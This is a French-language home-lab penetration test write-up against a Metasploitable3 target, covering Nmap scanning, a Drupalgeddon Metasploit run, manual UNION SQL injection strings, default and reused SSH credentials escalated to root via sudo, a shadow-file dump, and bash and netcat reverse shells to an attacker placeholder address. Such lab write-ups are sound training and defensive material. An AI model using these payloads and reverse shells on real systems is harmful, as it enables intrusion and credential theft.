
Rapport de test d'intrusion en laboratoire domestique sur Metasploitable3 couvrant la reconnaissance Nmap, l'RCE Drupalgeddon, l'injection SQL, la réutilisation d'identifiants SSH, l'escalade de privilèges sudo et les reverse shells.
Auteur : Arlen Fortunato
Date : Septembre 2026
Environnement : Parrot OS (attaquant) → Metasploitable3 Ubuntu 14.04 (cible)
Périmètre : Test d'intrusion réseau complet — énumération, exploitation, élévation de privilèges, post-exploitation
Type : Home Lab / Entraînement Capture The Flag
⚠️ Tous les identifiants ci-dessous sont masqués. Il s'agissait d'un exercice légal en home lab isolé.
| Outil | Rôle |
|---|---|
| Nmap | Scan de ports, détection de services/versions, empreinte OS |
| Metasploit (msfconsole) | Exploitation (CVE-2014-3704), gestion de sessions |
| msfvenom | Génération de payloads (reverse shells bash/netcat) |
| nc (netcat) | Écoute de reverse shell |
| curl / sed | Création manuelle de SQLi + formatage de sortie HTML |
| ssh / scp | Accès distant, validation d'identifiants |
| openssl s_client | Vérification de service TLS/SSL |
| gobuster | Brute-force de répertoires (énumération web) |
nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>
| Port | État | Service | Version |
|---|---|---|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (unauthorized) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
OS : Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
| # | Vulnérabilité | CVE / Type | Port | Sévérité | Résultat |
|---|---|---|---|---|---|
| 1 | Empreinte de version UnrealIRCd — sonde de backdoor | CVE-2010-2075 | 6697 | ⚠️ Faux positif | Vérification automatique du module réussie, sonde manuelle échouée — backdoor absente du build |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Critique | Shell Meterpreter en tant que www-data |
| 3 | Application de paie — SQLi UNION (manuelle) | Injection manuelle | 80 | 🔴 Critique | Dump complet de la BDD (15 utilisateurs, mots de passe en clair — masqués) |
| 4 | SSH — identifiants par défaut + réutilisés | Par défaut / réutilisation d'identifiants | 22 | 🔴 Critique | vagrant (NOPASSWD sudo), luke_skywalker (sudo ALL) |
| 5 | Élévation de privilèges (deux chemins) | Sudo mal configuré | N/A | 🔴 Critique | root via les deux comptes |
| 6 | Dump du shadow | Post-exploitation | N/A | 🔴 Critique | 16 hashes md5crypt extraits |
| 7 | Reverse shells (bash + netcat) | msfvenom / création manuelle | 4444/4445 | 🟠 Élevée | Shells interactifs capturés sur l'écouteur de l'attaquant |
Vulnérabilité : UnrealIRCd 3.2.8.1 a historiquement été distribué avec un binaire trojanisé qui exécute des commandes arbitraires lorsqu'un client non authentifié envoie une chaîne de déclenchement avant l'enregistrement — RCE en tant qu'utilisateur du démon IRC.
Tentative d'exploitation : Module Metasploit exploit/unix/irc/unreal_ircd_3281_backdoor avec les payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. La vérification automatique du module a signalé le service comme vulnérable ; aucune session retournée avec aucun payload.
Dépannage effectué :
nc -vz)openssl s_client)nc retournant l'erreur de protocole IRC 451 — commande interprétée comme commande IRC, jamais exécutéeConclusion : La bannière de version indique le build vulnérable, mais la backdoor est absente dans cette instance (binaire propre/recompilé). Classé non exploitable — faux positif, avec preuves.
Vulnérabilité : Drupal 7.x avant 7.32 contient une injection SQL critique dans la couche d'abstraction de base de données permettant l'exécution de code à distance non authentifiée.
Confirmation de version : CHANGELOG.txt → "Drupal 7.5, 2011-07-27"
Exploitation :
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run
Résultat :
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
Énumération post-exploitation :
/var/www/html : chat/, drupal/, payroll_app.php, phpmyadmin//home : 16 comptes utilisateursVulnérabilité : Formulaire de connexion payroll_app.php, injection SQL dans le champ mot de passe. Aucune automatisation utilisée — créée via curl.
Étape 1 — Contournement d'authentification :
' or 1=1#
' ferme la chaîne SQL, or 1=1 force la condition à vrai, # commente le guillemet restant.
Étape 2 — Nombre de colonnes + mappage d'affichage :
' UNION SELECT null, null, null, null# -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4# -- markers: 1=Username, 2=First, 3=Last, 4=Salary
Étape 3 — Énumération d'information_schema :
| Question | Réponse |
|---|---|
| Version BDD / utilisateur | MySQL 5.5.62, root@localhost |
| Bases de données | information_schema, drupal, mysql, payroll, performance_schema |
Tables dans payroll | users |
Colonnes dans users | username, first_name, last_name, password, salary |
Étape 4 — Dump (mots de passe masqués) :
' UNION SELECT username, password, salary, null FROM users#
| Nom d'utilisateur | Mot de passe | Salaire |
|---|---|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 autres comptes) | [REDACTED] | — |
Chemin 1 — Compte par défaut : paire d'identifiants vagrant par défaut authentifiée via SSH → utilisateur dans le groupe sudo avec (ALL : ALL) NOPASSWD: ALL.
Chemin 2 — Réutilisation d'identifiants : identifiants récupérés depuis le dump SQLi authentifiés directement via SSH en tant qu'autre utilisateur du lab (luke_skywalker, groupe sudo, (ALL : ALL) ALL).
Signification : démontre la réutilisation d'identifiants entre services — identifiants applicatifs mappés à un compte système.
vagrant → sudo -l affiche NOPASSWD: ALL → sudo su - → uid=0(root).luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).Aucun exploit local nécessaire — les deux comptes disposent de droits sudo excessivement permissifs.
sudo cat /etc/shadow
16 hashes md5crypt ($1$) extraits — collecte complète d'identifiants après élévation de privilèges.
Payload 1 — bash :
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Capturé sur nc -lnvp 4444 → shell interactif.
Payload 2 — netcat (named-pipe) :
mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
Capturé sur nc -lnvp 4445 → shell interactif.
Mécanisme : le named pipe (FIFO) fait le pont entre stdin/stdout de netcat et /bin/sh, formant un tunnel bidirectionnel sur un seul socket ; le FIFO est nettoyé ensuite.